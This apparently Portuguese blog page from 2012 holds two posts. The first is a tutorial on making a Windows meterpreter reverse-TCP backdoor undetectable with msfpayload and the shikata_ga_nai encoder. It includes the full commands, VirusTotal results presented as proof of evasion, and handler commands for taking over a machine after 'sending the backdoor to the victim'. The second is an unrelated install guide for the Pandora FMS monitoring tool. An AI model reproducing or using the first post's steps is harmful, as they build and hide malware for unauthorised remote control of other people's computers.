quarta-feira, 2 de maio de 2012

Deixando um vírus indetectável com o msfencode

Nesse tutorial vou ensinar como deixar um virus indetectavel usando o msfencode.
Para sabermos onde o msfencode esta, usamos o comando msfencode -h
a localização muda do Backtrack para o Ubuntu no caso estou usando o ubuntu no tutorial
Com esse comando recebemos informações sobre o local onde está o msfencode (/usr/local/bin/)
antes de prosseguir você deve acessar o diretorio aonde está o msfencode 
Código :
cd usr/local/bin/  

além disso recebemos informações sobre o msfencode.
Código :
OPTIONS:

    -a <opt>  The architecture to encode as
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -c <opt>  The number of times to encode the data
    -d <opt>  Specify the directory in which to look for EXE templates
    -e <opt>  The encoder to use
    -h        Help banner
    -i <opt>  Encode the contents of the supplied file path
    -k        Keep template working; run payload in new thread (use with -x)
    -l        List available encoders
    -m <opt>  Specifies an additional module search path
    -n        Dump encoder information
    -o <opt>  The output file
    -p <opt>  The platform to encode for
    -s <opt>  The maximum size of the encoded data
    -t <opt>  The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,aspx,war
    -v        Increase verbosity
    -x <opt>  Specify an alternate executable template  

Nosso próximo passo e saber quantos crypters existem e qual deles iremos utilizar,para isso vamos usar o comando:
Código :
msfencode -

Lembrando que a opção -l significa Lista dos crypters disponíveis

Pela imagem podemos perceber que existe um rank de qualidade (low,good,manual,great e excellent)
Irei utilizar o x86/shikata_ga_nai o único no rank como excelente.
O x86/shikata_ga_nai utiliza códigos polimórficos ,consiste em codigos que possuem condições
de se auto-modificar, gerando um novo codigo quando é executado,
desse modo é praticamente impossível algum anti-vírus detectar a prova é que se você passar o virus encriptado no famoso virus-total ele nunca irar detectar

Exemplo sem encriptação

Nesse exemplo irei criar um vírus sem usar o msfencode so para passarmos no virus-total
Não esqueça de usar os comandos abaixo como root 
Código :
su root

Lembrando que no BackTrack não e necessário isso

Lembre-se que em LHOST vc deve colocar seu ip ficando do seguinte modo LHOST=seu_ip
(o ip que vc quer que ira receber a conexão reversa) e em LPORT você deve colocar a porta que irar tentar se conectar LPORT=4444 ou LPORT=21 e assim em diante ...

Comando:
Código :
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X sem_crypter.exe  

Resultado:
Código :
root@mmxm-desktop:/usr/local/bin# msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X > sem_crypter.exe Created by msfpayload (http://www.metasploit.com). Payloadwindows/meterpreter/reverse_tcp
 Length
290
Options
: {"LPORT"=>"4444""LHOST"=>"127.0.0.1"}  


Pronto virus criado porem ele não está encryptado e será facilmente detectado pelos antivirus.

Link do scan no Virus-Total:

https://www.virustotal.com/file/3302...is/1334426858/

A maioria dos av's estão detectando só os da xuxa que não

Exemplo com encriptação

Neste exemplo vou usar um encoder para que o backdoor não seja detectado:

Usarei o seguinte comando:
Código :msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X msfencode -c 1 -e x86/shikata_ga_nai encryptado.exe  

A opção -c significa o número de vezes que será encodado (isso fica a critério) e a opção -e significa qual crypter será utilizado , como disse antes será o x86/shikata_ga_nai

resultado:
Código :
root@mmxm-desktop:/usr/local/bin# msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 X | msfencode -c 1 -e x86/shikata_ga_nai > encryptado.exe Created by msfpayload (http://www.metasploit.com). Payloadwindows/meterpreter/reverse_tcp
 Length
290
Options
: {"LPORT"=>"4444""LHOST"=>"127.0.0.1"}[*] x86/shikata_ga_nai succeeded with size 73831 (iteration=1)  

Scan virus-total:

https://www.virustotal.com/file/ee61...is/1334428492/

100% clean 

Passando despercebido por grandes av's como Kaspersky,NOD32,McAfee,Avira,etc...

Lembrando o virus criado esta no mesmo diretorio onde está o msfencode (/usr/local/bin)

Agora depois de enviar o backdoor para a vitima iremos iniciar o metasploit:
Código :
msfconsole  

resultado:
Código :
root@mmxm-desktop:/usr/local/bin# msfconsole

%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


       =[ 
metasploit v4.3.0-dev [core:4.3 api:1.0]
+ -- --=[ 
821 exploits 461 auxiliary 141 post + -- --=[ 250 payloads 27 encoders 8 nops
       
=[ svn r15059 updated 10 days ago (2012.04.04)WarningThis copy of the Metasploit Framework was last updated 10 days ago.
         
We recommend that you update the framework at least every other day.
         For 
information on updating your copy of Metasploitplease see:
             
https://community.rapid7.com/docs/DOC-1306msf >  

Agora usamos os comandos:
Código :
msf > use exploit/multi/handler
msf exploit
(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD 
=> windows/meterpreter/reverse_tcp
msf exploit
(handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1
msf exploit
(handler) > set LPORT 4444 LPORT => 4444
msf exploit
(handler) > exploit [*] Started reverse handler on 127.0.0.1:4444 [*] Starting the payload handler  

Agora que você esta no sistema basta utilizar os comandos post-explotation para windows
ou então usar o armitage

Monitorando Infraestrutura com Pandora FMS


 Pandora FMS

Monitorando infraestrutura com Pandora FMS
Flexible Monitoring System é uma ferramenta de monitoramento de software livre (desenvolvido Ártico , uma empresa espanhola).
Pandora FMS é constituído por três componentes: servidor, console e agente.  A instalação típica do Pandora FMS terá uma console, um ou mais servidores e muitos agentes (máquinas Windows ou GNU / Linux). Para este exemplo vamos deixar uma instalação limpa do Debian Lenny 5.0.5 escolhendo apenas o padrão mínimo de pacotes. Nesta máquina irá instalar o servidor, console e um primeiro agente.

A primeira coisa a fazer é instalar as unidades anteriores. É quase que inteiramente de pacotes padrão disponível no repositório Debian estável. A lista que preciso é:
# apt-get install snmp snmpd sudo xprobe2 nmap traceroute mysql-server mysql-client dbconfig-common apache2 php5 libapache2-mod-php5 php5-gd php5-mysql php-pear php5-snmp php-db php-gettext php-db php5-xmlrpc php5-ldap libtime-format-perl libxml-simple-perl libnetaddr-ip-perl libdbi-perl libhtml-parser-perl libmail-sendmail-perl libio-socket-multicast-perl libhtml-tree-perl hp-gettext graphviz
Em segundo lugar, baixado e instalado o Debian e as ferramentas oferecidas não como pacotes padrão (http://sourceforge.net/projects/pandora/files/).
Em terceiro lugar, temos, também a partir do Sourceforge, pacotes de três componentes de Pandora (console, o servidor e agente) e também instalado. O pacote do agente disponível agora dá um erro de instalação que é fixo. Nenhuma linha de comando a mais. Desde que a máquina que você está fazendo a instalação não tem sequer X instalado, vamos para a nossa máquina desktop, abra o navegador e carregar a URL a seguir para iniciar a configuração:
http://<ip  maquina>/pandora_console/install.php
A configuração é feita através de seis passos simples que você pode ver agora. Aceitar a licença, verifique se todas as unidades foram instaladas corretamente, aceitamos os dados no banco de dados e os dados foram coletados instância web a partir de um usuário com privilégios para criar o novo banco de dados.
Página Inicial de Instalação Pandora FMS
Segundo passo, Licença do Pandora FMS.
Terceiro passo, verificação de dependências no servidor.
Quarto passo, configuração do Banco de Dados.
Quinto passo, criação de tabelas.
Página de Conclusão.
Antes de entrar pela primeira vez no console para o servidor deve fornecer a senha que você forneceu durante a instalação. Para fazer isso, editar o arquivo /etc/pandora/pandora_server.conf e localizado no parâmetro dbpass :
dbpass ghqshtvw
Finalmente relançou o processo do servidor (que deveria ter abortado após a instalação devido à ausência da senha):
# /etc/init.d/pandora_server start /etc/pandora/pandora_server.conf
E é isso. Se houve um problema deveria ter sido refletido no log arquivos encontrados no diretório /var/log/pandora . Se tudo correr bem, podemos ir para a nossa máquina desktop e entrar no console através do seguinte URL. O usuário inicialmente criadas automaticamente ea senha é admin pandora:
http://<ip o nombre de la maquina>/pandora_console/
Para lançar uma missão de reconhecimento para que possamos ver como é fácil criar um mapa da nossa rede. Para fazer isso, e no menu do lado da administração, suspensa a opção "Manage Servers" e clique em "Gerenciar tarefa de reconstrução". Nós pressionamos o botão "Criar" e preencha o formulário com os dados da nossa rede:
Neste momento, apenas colocar um nome para a tarefa, devidamente preenchido o "escopo" de nossa rede e clique no botão Adicionar. A tarefa será criada e será iniciado automaticamente. Se você quiser ver o progresso do lado de exploração de ir ao menu de operações, que implantou a opção "Servidores" e clicar sobre o nome do nosso servidor para nos mostrar o trabalho que está sendo executado e sua evolução:
Depois de explorar a opção de implantar os "agentes View" (também no menu de operação) e escolha a opção "Map Network". 
Clicando em qualquer um dos dispositivos indicados no mapa irá abrir uma janela de detalhes como o seguinte:


Fonte: Pub & Comunic News - Monitorando infraestrutura com Pandora FMS http://news.pubecomunic.com/ciencia-e-tecnologia/item/1165-monitorando-infraestrutura-pandora-fms#ixzz1tkO8mExV
Copyright - Pub & Comunic News - A Informação onde você estiver!
Under Creative Commons License: Attribution Non-Commercial Share Alike